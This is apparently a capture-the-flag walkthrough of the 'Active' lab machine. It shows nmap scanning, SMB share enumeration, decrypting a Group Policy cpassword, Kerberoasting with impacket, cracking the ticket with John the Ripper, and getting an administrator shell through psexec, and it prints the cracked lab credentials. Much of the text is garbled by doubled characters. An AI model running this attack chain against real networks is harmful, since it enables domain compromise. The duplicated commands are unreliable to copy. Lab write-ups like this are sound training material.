
Port Scan

┌──┌──((kali㉿kalikali㉿kali))--[[~~]]  

└─$ └─$ sudosudo nmap -sS -A  nmap -sS -A 10.1010.10.10.100 .10.100   

Starting Nmap Starting Nmap 7.917.91  (( https://nmap.org  https://nmap.org )) at  at 20212021-07-07 01:49 EDT-07-07 01:49 EDT

Stats: Stats: 00:00:01 elapsed:00:01 elapsed;;  00 hosts completed  hosts completed ((11 up up)), , 11 undergoing SYN Stealth Scan undergoing SYN Stealth Scan  

SYN Stealth Scan Timing: About SYN Stealth Scan Timing: About 1.001.00% % donedone;; ETC: 01:49  ETC: 01:49 ((00:00:00 remaining:00:00 remaining))  

Nmap scan report Nmap scan report forfor  10.1010.10.10.100 .10.100 ((10.1010.10.10.100.10.100))  

Host is up Host is up ((00.37s latency.37s latency))..  

Not shown: Not shown: 983983 closed ports closed ports  

PORT      STATE SERVICE       VERSIONPORT      STATE SERVICE       VERSION  

5353/tcp    /tcp    openopen  domain        Microsoft DNS   domain        Microsoft DNS 6.16.1.7601 .7601 ((1DB15D391DB15D39))  ((Windows Server Windows Server 20082008 R2 SP1 R2 SP1))  

|| dns-nsid:  dns-nsid:   

||_  bind.version: Microsoft DNS _  bind.version: Microsoft DNS 6.16.1.7601 .7601 ((1DB15D391DB15D39))  

8888/tcp    /tcp    openopen  kerberos-sec  Microsoft Windows Kerberos   kerberos-sec  Microsoft Windows Kerberos ((server time: server time: 20212021-07-07 05:51:06Z-07-07 05:51:06Z))  

135135/tcp   /tcp   openopen  msrpc         Microsoft Windows RPC  msrpc         Microsoft Windows RPC  

139139/tcp   /tcp   openopen  netbios-ssn   Microsoft Windows netbios-ssn  netbios-ssn   Microsoft Windows netbios-ssn  

389389/tcp   /tcp   openopen  ldap          Microsoft Windows Active Directory LDAP   ldap          Microsoft Windows Active Directory LDAP ((Domain: active.htb, Site: Default-First-Site-NameDomain: active.htb, Site: Default-First-Site-Name))  

445445/tcp   /tcp   openopen  microsoft-ds?  microsoft-ds?  

464464/tcp   /tcp   openopen  kpasswd5?  kpasswd5?  

593593/tcp   /tcp   openopen  ncacn_http    Microsoft Windows RPC over HTTP   ncacn_http    Microsoft Windows RPC over HTTP 1.01.0  

636636/tcp   /tcp   openopen  tcpwrapped  tcpwrapped  

32683268/tcp  /tcp  openopen  ldap          Microsoft Windows Active Directory LDAP   ldap          Microsoft Windows Active Directory LDAP ((Domain: active.htb, Site: Default-First-Site-NameDomain: active.htb, Site: Default-First-Site-Name))  

32693269/tcp  /tcp  openopen  tcpwrapped  tcpwrapped  

4915249152/tcp /tcp openopen  msrpc         Microsoft Windows RPC  msrpc         Microsoft Windows RPC  

4915349153/tcp /tcp openopen  msrpc         Microsoft Windows RPC  msrpc         Microsoft Windows RPC  

4915449154/tcp /tcp openopen  msrpc         Microsoft Windows RPC  msrpc         Microsoft Windows RPC  

4915549155/tcp /tcp openopen  msrpc         Microsoft Windows RPC  msrpc         Microsoft Windows RPC  

4915749157/tcp /tcp openopen  ncacn_http    Microsoft Windows RPC over HTTP   ncacn_http    Microsoft Windows RPC over HTTP 1.01.0  

4915849158/tcp /tcp openopen  msrpc         Microsoft Windows RPC  msrpc         Microsoft Windows RPC  

Aggressive OS guesses: Microsoft Windows Aggressive OS guesses: Microsoft Windows 77 or Windows Server  or Windows Server 20082008 R2  R2 ((9797%%)), Microsoft Windows Home Server , Microsoft Windows Home Server 20112011  ((Windows Server Windows Server 20082008 R2 R2))  ((9696%%)), Microsoft Windows Server , Microsoft Windows Server 20082008 R2 SP1  R2 SP1 ((9696%%)),,  

Microsoft Windows Server Microsoft Windows Server 20082008 SP1  SP1 ((9696%%)), Microsoft Windows Server , Microsoft Windows Server 20082008 SP2  SP2 ((9696%%)), Microsoft Windows , Microsoft Windows 77  ((9696%%)), Microsoft Windows , Microsoft Windows 77 SP0 - SP1 or Windows Server  SP0 - SP1 or Windows Server 20082008  ((9696%%)), Microsoft Windows , Microsoft Windows 77  

SP0 - SP1, Windows Server SP0 - SP1, Windows Server 20082008 SP1, Windows Server  SP1, Windows Server 20082008 R2, Windows  R2, Windows 88, or Windows , or Windows 8.18.1 Update  Update 11  ((9696%%)), Microsoft Windows , Microsoft Windows 77 SP1  SP1 ((9696%%)), Microsoft Windows , Microsoft Windows 77 Ultimate  Ultimate ((9696%%))  

No exact OS matches No exact OS matches forfor  hosthost  ((test conditions non-idealtest conditions non-ideal))..  

Network Distance: Network Distance: 22 hops hops  

Service Info: Host: DCService Info: Host: DC;; OS: Windows OS: Windows;; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows  

Host script results:Host script results:  

||_clock-skew: 54s_clock-skew: 54s  

|| smb2-security-mode:  smb2-security-mode:   

||      2.022.02: :   

||_    Message signing enabled and required_    Message signing enabled and required  



|| smb2-time:  smb2-time:   

||   date:    date: 20212021-07-07T05:52:14-07-07T05:52:14  

||_  start_date: _  start_date: 20212021-07-07T04:43:54-07-07T04:43:54  

TRACEROUTE TRACEROUTE ((using port using port 10251025/tcp/tcp))  

HOP RTT       ADDRESSHOP RTT       ADDRESS  

11      485.36485.36 ms  ms 10.1010.10.14.1 .14.1 ((10.1010.10.14.1.14.1))  

22      484.74484.74 ms  ms 10.1010.10.10.100 .10.100 ((10.1010.10.10.100.10.100))  

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ ..  

Nmap done: Nmap done: 11 IP address  IP address ((11  hosthost up up)) scanned  scanned inin  117.27117.27 seconds                                                                                seconds                                                                                 

┌──┌──((kali㉿kalikali㉿kali))--[[~~]]  

└─$ └─$   

SMB Map

┌──┌──((kali㉿kalikali㉿kali))--[[~~]]  

└─$ smbmap -H └─$ smbmap -H 10.1010.10.10.100.10.100  

[[++]] IP:  IP: 10.1010.10.10.100:445        Name: active.htb                                        .10.100:445        Name: active.htb                                          

        Disk                                                    Permissions     Comment        Disk                                                    Permissions     Comment  

        ----                                                    -----------     -------        ----                                                    -----------     -------  

        ADMIN$                                                  NO ACCESS       Remote Admin        ADMIN$                                                  NO ACCESS       Remote Admin  

        C$                                                      NO ACCESS       Default share        C$                                                      NO ACCESS       Default share  

        IPC$                                                    NO ACCESS       Remote IPC        IPC$                                                    NO ACCESS       Remote IPC  

        NETLOGON                                                NO ACCESS       Logon server share         NETLOGON                                                NO ACCESS       Logon server share   

        Replication                                             READ ONLY        Replication                                             READ ONLY  

        SYSVOL                                                  NO ACCESS       Logon server share         SYSVOL                                                  NO ACCESS       Logon server share   

        Users                                                   NO ACCESS        Users                                                   NO ACCESS  

smbclient

┌──┌──((kali㉿kalikali㉿kali))--[[~~]]  

└─$ smbclient //10.10.10.100/Replication -U └─$ smbclient //10.10.10.100/Replication -U ''''%%''''                

Try Try "help""help" to get a list of possible commands. to get a list of possible commands.  

smb: smb: \\>>  dirdir  

    ..                                   D                                           D        00  Sat Jul   Sat Jul 2121 06:37:44  06:37:44 20182018  

    ....                                  D                                          D        00  Sat Jul   Sat Jul 2121 06:37:44  06:37:44 20182018  

  active.htb                          D          active.htb                          D        00  Sat Jul   Sat Jul 2121 06:37:44  06:37:44 20182018  

                                1045964710459647 blocks of size  blocks of size 40964096. . 57276505727650 blocks available blocks available  

smb: smb: \\>>  



enumeration
finally found the Groups.xml

smb: smb: \\active.htbactive.htb\\PoliciesPolicies\\{{31B2F340-016D-11D2-945F-00C04FB984F931B2F340-016D-11D2-945F-00C04FB984F9}}\\MACHINEMACHINE\\PreferencesPreferences\\GroupsGroups\\>>  dirdir  

    ..                                   D                                           D        00  Sat Jul   Sat Jul 2121 06:37:44  06:37:44 20182018  

    ....                                  D                                          D        00  Sat Jul   Sat Jul 2121 06:37:44  06:37:44 20182018  

  Groups.xml                          A        Groups.xml                          A      533533  Wed Jul   Wed Jul 1818  1616:46:06 :46:06 20182018  

                                1045964710459647 blocks of size  blocks of size 40964096. . 57276345727634 blocks available blocks available  

smb: smb: \\active.htbactive.htb\\PoliciesPolicies\\{{31B2F340-016D-11D2-945F-00C04FB984F931B2F340-016D-11D2-945F-00C04FB984F9}}\\MACHINEMACHINE\\PreferencesPreferences\\GroupsGroups\\>>    

Download it

┌──┌──((kali㉿kalikali㉿kali))--[[~/Desktop~/Desktop]]  

└─$ └─$ catcat Groups.xml  Groups.xml 

<<?xml ?xml versionversion=="1.0""1.0"  encodingencoding=="utf-8""utf-8"??>>  

<<Groups Groups clsidclsid=="{3125E937-EB16-4b4c-9934-544FC6D24D26}""{3125E937-EB16-4b4c-9934-544FC6D24D26}">><<User User clsidclsid=="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}""{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}"  namename=="active.htb\SVC_TGS""active.htb\SVC_TGS"  imageimage=="2""2"  changedchanged=="2018-07-18 20:46:06""2018-07-18 20:46:06"  uiduid==""

{EF57DA28-5F69-4530-A59E-AAB58578219D}"{EF57DA28-5F69-4530-A59E-AAB58578219D}">><<Properties Properties actionaction=="U""U"  newNamenewName==""""  fullNamefullName==""""  descriptiondescription==""""  

cpasswordcpassword=="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ""edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"  changeLogonchangeLogon=="0""0"  noChangenoChange=="1""1"  neverExpiresneverExpires=="1""1"  acctDisabledacctDisabled=="0""0"  

userNameuserName=="active.htb\SVC_TGS""active.htb\SVC_TGS"//>><</User/User>>  

<</Groups/Groups>>  

username : active.htb\SVC_TGS
cpassword

edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

Google Search

search : group policies cpassword decrypt

i found this :

Decryption

download the script

wgetwget https://gist.githubusercontent.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385/raw/7b6f03f770e11fde39997696c4b218f0c6fa515e/GPPDecrypt.py https://gist.githubusercontent.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385/raw/7b6f03f770e11fde39997696c4b218f0c6fa515e/GPPDecrypt.py  

install pycrypto

pip3 pip3 installinstall pycrypto pycrypto  



┌──┌──((kali㉿kalikali㉿kali))--[[~/Desktop~/Desktop]]  

└─$ python3 GPPDecrypt.py edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ└─$ python3 GPPDecrypt.py edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ  

GPPstillStandingStrong2k18GPPstillStandingStrong2k18  

Credentials

SVC_TGSSVC_TGS::GPPstillStandingStrong2GPPstillStandingStrong2kk1818  

SMB Map again

┌──┌──((kali㉿kalikali㉿kali))--[[~/Desktop~/Desktop]]  

└─$ smbmap -u SVC_TGS -p GPPstillStandingStrong2k18 -H └─$ smbmap -u SVC_TGS -p GPPstillStandingStrong2k18 -H 10.1010.10.10.100 .10.100   

[[++]] IP:  IP: 10.1010.10.10.100:445        Name: active.htb                                        .10.100:445        Name: active.htb                                          

        Disk                                                    Permissions     Comment        Disk                                                    Permissions     Comment  

        ----                                                    -----------     -------        ----                                                    -----------     -------  

        ADMIN$                                                  NO ACCESS       Remote Admin        ADMIN$                                                  NO ACCESS       Remote Admin  

        C$                                                      NO ACCESS       Default share        C$                                                      NO ACCESS       Default share  

        IPC$                                                    NO ACCESS       Remote IPC        IPC$                                                    NO ACCESS       Remote IPC  

        NETLOGON                                                READ ONLY       Logon server share         NETLOGON                                                READ ONLY       Logon server share   

        Replication                                             READ ONLY        Replication                                             READ ONLY  

        SYSVOL                                                  READ ONLY       Logon server share         SYSVOL                                                  READ ONLY       Logon server share   

        Users                                                   READ ONLY        Users                                                   READ ONLY  

SMB Client

smbclient //10.10.10.100/Users -U smbclient //10.10.10.100/Users -U 'SVC_TGS''SVC_TGS'%%'GPPstillStandingStrong2k18''GPPstillStandingStrong2k18'  

User Owned

┌──┌──((kali㉿kalikali㉿kali))--[[~/Desktop~/Desktop]]  

└─$ smbclient //10.10.10.100/Users -U └─$ smbclient //10.10.10.100/Users -U 'SVC_TGS''SVC_TGS'%%'GPPstillStandingStrong2k18''GPPstillStandingStrong2k18'  

Try Try "help""help" to get a list of possible commands. to get a list of possible commands.  

smb: smb: \\>>  dirdir  

    ..                                  DR                                          DR        00  Sat Jul   Sat Jul 2121  1010:39:20 :39:20 20182018  

    ....                                 DR                                         DR        00  Sat Jul   Sat Jul 2121  1010:39:20 :39:20 20182018  

  Administrator                       D          Administrator                       D        00  Mon Jul   Mon Jul 1616 06:14:21  06:14:21 20182018  

  All Users                       DHSrn          All Users                       DHSrn        00  Tue Jul   Tue Jul 1414 01:06:44  01:06:44 20092009  

  Default                           DHR          Default                           DHR        00  Tue Jul   Tue Jul 1414 02:38:21  02:38:21 20092009  

  Default User                    DHSrn          Default User                    DHSrn        00  Tue Jul   Tue Jul 1414 01:06:44  01:06:44 20092009  

  desktop.ini                       AHS        desktop.ini                       AHS      174174  Tue Jul   Tue Jul 1414 00:57:55  00:57:55 20092009  



  Public                             DR          Public                             DR        00  Tue Jul   Tue Jul 1414 00:57:55  00:57:55 20092009  

  SVC_TGS                             D          SVC_TGS                             D        00  Sat Jul   Sat Jul 2121  1111:16:32 :16:32 20182018  

WAD COMS

wadcoms is very usefull website to help you go further based on the info we have

Wadcoms - github.io

some choices are below

https://wadcoms.github.io/


i will try

python3 GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request 

the link below explains each impacket script

Secure Auth - impacket

https://www.secureauth.com/labs/open-source-tools/impacket/


Administrator Ticket

Crack using JTR

┌──┌──((kali㉿kalikali㉿kali))--[[~/Desktop~/Desktop]]  

└─$ john admin-ticket.txt --wordlist└─$ john admin-ticket.txt --wordlist==/usr/share/wordlists/rockyou.txt /usr/share/wordlists/rockyou.txt   

Using default input encoding: UTF-8Using default input encoding: UTF-8  

┌──┌──((kali㉿kalikali㉿kali))--[[/usr/share/doc/python3-impacket/examples/usr/share/doc/python3-impacket/examples]]  

└─$ python3 GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip └─$ python3 GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.1010.10.10.100 -request.10.100 -request  

Impacket v0.9.22 - Copyright Impacket v0.9.22 - Copyright 20202020 SecureAuth Corporation SecureAuth Corporation  

ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation   

--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ------------------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------  

active/CIFS:445       Administrator  active/CIFS:445       Administrator  CNCN==Group Policy Creator Owners,CNGroup Policy Creator Owners,CN==Users,DCUsers,DC==active,DCactive,DC==htb  htb  20182018-07-18 -07-18 1515:06:40.351723  :06:40.351723  20212021-01-21 -01-21 1111:07:03.723783             :07:03.723783               

$krb5tgs$krb5tgs$23$23$*$*AdministratorAdministrator$ACTIVE$ACTIVE.HTB.HTB$active$active.htb/Administrator*.htb/Administrator*$ee3634a0366f0343e9ab7db5ac78a33f$ee3634a0366f0343e9ab7db5ac78a33f$b3e62446389a0ebebf8626754de5489dac2507d0ba818e3f5952568099cc9afd8fc5bc93d740a6b96f01869a0f36b2$b3e62446389a0ebebf8626754de5489dac2507d0ba818e3f5952568099cc9afd8fc5bc93d740a6b96f01869a0f36b2



Loaded Loaded 11 password  password hashhash  ((krb5tgs, Kerberos krb5tgs, Kerberos 55 TGS etype  TGS etype 2323  [[MD4 HMAC-MD5 RC4MD4 HMAC-MD5 RC4]]))  

Will run Will run 22 OpenMP threads OpenMP threads  

Press Press 'q''q' or Ctrl-C to abort, almost any other key  or Ctrl-C to abort, almost any other key forfor status status  

Ticketmaster1968 Ticketmaster1968 ((??))  

1g 1g 00:00:00:13 DONE :00:00:13 DONE ((20212021-07-07 05:44-07-07 05:44))  00.07639g/s 805001p/s 805001c/s 805001C/s Tiffani1432.07639g/s 805001p/s 805001c/s 805001C/s Tiffani1432....Tiago_18Tiago_18  

Use the Use the "--show""--show" option to display all of the cracked passwords reliably option to display all of the cracked passwords reliably  

Administrator Credentials

administrator:Ticketmaster1968administrator:Ticketmaster1968  

Rooted

python3 psexec.py active.htb/administrator:Ticketmaster1968@10.10.10.100python3 psexec.py active.htb/administrator:Ticketmaster1968@10.10.10.100  

in action


